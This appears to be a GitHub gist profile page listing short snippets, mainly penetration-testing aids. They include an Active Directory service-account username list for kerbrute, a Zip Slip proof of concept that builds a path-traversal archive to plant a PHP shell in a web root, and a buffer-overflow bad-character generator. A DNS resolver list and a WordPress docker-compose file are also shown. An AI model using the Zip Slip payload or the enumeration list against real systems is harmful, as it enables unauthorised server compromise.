Skip to content

Instantly share code, notes, and snippets.

View bc0d3's full-sized avatar
🎯
Focusing

bc0d3

🎯
Focusing
View GitHub Profile
@bc0d3
bc0d3 / svc-usernames.txt
Last active February 24, 2023 15:30
Wordlist Svc username Active directory. this use for kerbrute
svc-apache
svc-mssql
svc-iis
svc-exchange
svc-dns
svc-dhcp
svc-print
svc-ftp
svc-ssh
svc-rdp
@bc0d3
bc0d3 / Zip Slip poc
Created February 22, 2023 05:33
How to create Zip Slip payload in zip file.
# First you have to see where you want to leave your Shell php
#
# target file /root/var/www/html
# in your console, sudo su, and create this directory "/root/var/www/html"
# and create file x.php
mkdir -p /root/var/www/html/
echo 'hi' > /root/var/www/html/x.php
# You need to know how many paths you need in this case we will need 4
zip prueba.zip ../../../../root/var/www/html/x.php
# and your file get this zip slip created and upload.
#!/usr/bin/python3
## \x00\x02
badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
badchars += b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
badchars += b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
@bc0d3
bc0d3 / DNS
Last active July 31, 2022 19:50
DNS list for subdomains
1.1.1.1
1.0.0.1
8.8.8.8
8.8.4.4
8.26.56.26
8.20.247.20
9.9.9.9
149.112.112.112
64.6.64.6
64.6.65.6
@bc0d3
bc0d3 / docker-compose
Last active March 27, 2022 16:28
Wordpress + mariadb Working in Mac m1
version: '3'
services:
# Database
db:
image: mariadb:latest
volumes:
- db_data:/var/lib/mysql
restart: always
environment: